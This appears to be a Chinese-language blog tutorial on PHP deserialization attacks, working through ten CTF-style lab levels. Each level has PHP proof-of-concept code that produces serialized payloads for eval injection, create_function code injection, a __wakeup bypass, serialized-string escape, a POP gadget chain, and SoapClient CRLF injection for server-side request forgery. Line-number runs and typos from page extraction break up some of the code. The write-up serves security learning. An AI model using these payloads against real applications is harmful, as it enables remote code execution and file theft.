本文最后更新于 2025年5月8日 晚上
反序列化 php魔术函数 1 2 3 4 5 6 7 8 9 10 11 12 __construct () __destruct () __call () __callStatic () __get () __set () __isset () __unset () __invoke () __sleep () __wakeup () __toString ()
serialize() 函数会检查类中是否存在一个魔术方法。如果存在,该方法会先被调用,然后才执行序列化操作。
我们需要重点关注一下5个魔术方法,所以再强调一下:
__construct:构造函数,当一个对象创建时调用
__destruct:析构函数,当一个对象被销毁时调用
__toString:当一个对象被当作一个字符串时使用
__sleep:在对象序列化的时候调用
__wakeup:对象重新醒来,即由二进制串重新组成一个对象的时候(在一个对象被反序列化时调用)
从序列化到反序列化这几个函数的执行过程是:
__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()
__toString()
这个魔术方法能触发的因素太多,所以有必要列一下:
1 2 3 4 5 6 7 8 1 . echo ($obj )/print ($obj )打印时会触发 2 . 反序列化对象与字符串连接时 3 . 反序列化对象参与格式化字符串时 4 . 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型) 5 . 反序列化对象参与格式化SQL语句,绑定参数时 6 . 反序列化对象在经过php字符串处理函数,如strlen ()、strops ()、strcmp ()、addslashes ()等 7 . 在in_array ()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString ()返回的字符串的时候__toString ()会被调用 8 . 反序列化的对象作为class_exists ()的参数的时候
序列化格式:
1 2 3 4 5 6 7 8 9 10 11 12 13 a - array 数组型 b - boolean 布尔型 d - double 浮点型 i - integer 整数型 o - common object 共同对象 r - objec reference 对象引用 s - non-escaped binary string 非转义的二进制字符串 S - escaped binary string 转义的二进制字符串 C - custom object 自定义对象 O - class 对象 N - null 空 R - pointer reference 指针引用 U - unicode string Unicode 编码的字符串
PHP序列化 有时需要把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串 ,等到达另一端时,再还原为原来的对象,这个过程称之为串行化 (也叫序列化 )。
PHP序列化:把对象转化为二进制的字符串 ,使用serialize()
函数 PHP反序列化:把对象转化的二进制字符串再转化为对象 ,使用unserialize()
函数
实战 level1
简单的反序列化,输入恶意序列化数据后,反序列化被eval执行即可
poc 1 2 3 4 5 6 7 8 9 <? class a { var $act ="show_source('flag.php');" ; }$b =new a ();echo urlencode (serialize ($b ));?>
level2
根据代码逻辑,要让user=daydream,pass=ok
poc 1 2 3 4 5 6 7 8 9 10 <? class mylogin { var $user ="daydream" ; var $pass ="ok" ; }$b =new mylogin ();echo urlencode (serialize ($b ));?>
level3
思路与方法level2相同,传参方式变为cookie
level4
这里介绍一个php的Array的特性,当反序列化array内包裹的第一个值是对象,第一个值是对象的方法时,反序列化后会调用该对象的方法
另外,介绍以下create_function函数,这个函数可以创建一个函数
1 2 create_function(string $arg ,string $code),第一个参数是传入被创建函数的参数,第二个参数是被创建函数具体功能的代码 //create_function(a,b,log (a)+log (b))=function xx (a,b) {log (a)+log (b)}
这里func里有__destruct方法,且有反序列化
可以通过这个反序列化把create_function插入getflag中,然后传入恶意代码参数,从而执行getflag命令
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <? class func { public $key ; public function __destruct ( ) { unserialize ($this ->key)(); } }class GetFlag { public $code ; public $action ; public function get_flag ( ) { $a =$this ->action; $a ('' , $this ->code); } }$m =new GetFlag ();$n =new func ();$m ->action="create_function" ;$m ->code="}show_source('flag.php');//" ;$n ->key=serialize (array ($m ,"get_flag" ));echo urlencode (serialize ($n ));?>
这里实际上就是执行
1 2 3 4 5 6 7 8 class GetFlag { public $code ; public $action ; public function get_flag ( ) { crate_function (){} show_source ('flag.phg' ); } }
level5
这里是关于__wake_up魔术方法的利用
当在序列化后的字符串中类的数值比实践个数数组大的时候就不会触发__wakeup
先给出poc
poc 1 2 3 4 5 6 7 8 9 10 <?php class secret { var $file ='flag.php' ; }$pa =new secret ();echo serialize ($pa );echo urlencode ('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}' );?>
level6
这里的对象有一个私有属性
private、public、protect在序列化时候有影响
1 2 3 Public(公有):被序列化时属性值为:属性名 Protected(受保护):被序列化时属性值为:\x 00 *\x 00 属性名 or %00 *%00 属性名 Private(私有):被序列化时属性值为:\x 00 类名\x 00 属性 or %00 类名%00 属性
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class secret { private $comm ; public function __construct ($com ) { $this ->comm = $com ; } function __destruct ( ) { echo eval ($this ->comm); } }$pa =new secret ("show_source('flag.php');" );echo serialize ($pa ),"\n" ; 因为源码对%过滤了,所以可以用\00 绕过 知识:小写 s:表示对象的属性名是一个普通的字符串。 大写 S:表示对象的属性名是一个被 null 字节(\0 )填充的字符串,也称为一个带有命名空间的属性名。这在 PHP 中通常用于类的私有(private )或受保护(protected )属性,因为这些属性在序列化时会被重命名,以 避免命名冲突。 所以最终payload是2
level7
这里介绍以下__call方法,当调用对象中没有的方法时就会调用call方法,call触发后会把该不存在的方法名以参数的形式传入__call方法中,因为存在有私有属性,序列化后需要调整s的大小写以及\00 or %00符号
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class you { private $body ; private $pro ; function __construct ($flag ) { $this ->body=$flag ; $this ->pro='youname' ; } }class my { public $name ='myname' ; }$x =new my ();$y =new you ($x );echo serialize ($y );
level8
这里当pass为escaping时即可拿到flag
这里是增量逃逸
假设一个正常的序列化字符串为
1 O :4 :"test" :2 :{s:4 :"user" ;s:3 :"aaa" ;s:4 :"pass" ;s:8 :"daydream" ;}
那么如果我们构造user=user=aaa”;s:4:”pass”;s:8:”escaping”;}
那么序列化字符串就会变成
1 O:4 :"test" :2 :{s:4 :"user" ;s:3 :"aaa" ;s:4 :"pass" ;s:8 :"escaping" ;}";s:4 :"pass" ;s:8 :"daydream" ;}
这时在反序列化时就会在恶意构造的闭合停止,接着对每个属性的个数数值进行检查,如果数量对不上会报错
我们需要想办法对上数量,在源码中是可以用其中的替换操作实现
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php highlight_file (__FILE__ );function filter ($name ) { $safe =array ("flag" ,"php" ); $name =str_replace ($safe ,"hack" ,$name ); return $name ; }class test { var $user ; var $pass ='daydream' ; function __construct ($user ) { $this ->user=$user ; } }$a =new test ('phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}' );$param =serialize ($a );echo $param ,"\n" ; $profile =unserialize (filter ($param ));echo $profile ->pass,"\n" ;if ($profile ->pass=='escaping' ){ echo 1 ; }?>
level9
魔术方法
1 2 3 4 5 6 7 8 9 __invoke () 当一个类被当作函数执行时调用此方法。 __construct 在创建对象时调用此方法 __toString () 在一个类被当作字符串处理时调用此方法 __wakeup () 当反序列化恢复成对象时调用此方法 __get () 当读取不可访问或不存在的属性的值会被调用
这道题需要理一下思路
首先最终的目的肯定是Modifer类里面的append函数,这个函数受制于__invoke函数,所以要想办法调用__invoke,条件是类被当作函数执行,那么需要利用Test类里的__get方法
它的条件是读取类里面没有的属性时会触发,那么就要利用__toString,而__toString 的触发条件是类当作属性操作,那么就需要用到__wakeup方法,因此思路就是
1 2 __wakeup --> $this ->source =Show--> __toString -->str -> source(令str为没有source属性的类即可) -->__get --> $function =Modifier类--> __invoke 方法--> append
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php class Modifier { private $var ="flag.php" ; public function append ($value ) { include ($value ); echo $flag ; } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { echo $this ->source; } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } }$a =new Modifier ();$b =new show ();$c =new Test (); $b ->source=$b ; $b ->source->str=$c ; $c ->p=$a ; echo urlencode (serialize ($b ));?>
php原生类反序列化 就是在没有魔术方法的情况下,使用php原生类中的一些内置的魔术方法
level10
调用一个不存在的方法,会触发__call
__call的原生类有
SoapClient::__call
1 2 3 4 5 6 7 8 <?php $post_data ='pass=password' ;$data_len =strlen ($post_data );$a = new SoapClient (null ,array ('location' =>'http://shiyan/SER/level10/flag.php' ,'user_agent' =>'admin^^Content-Type: application/x-www-form-urlencoded^^Content-Length: ' .$data_len .'^^^^' .$post_data ,'uri' =>'bbba' ));$b = serialize ($a );$b = str_replace ('^^' ,"\r\n" ,$b );$b = str_replace ('&' ,'&' ,$b );echo urlencode ($b );
php框架类反序列化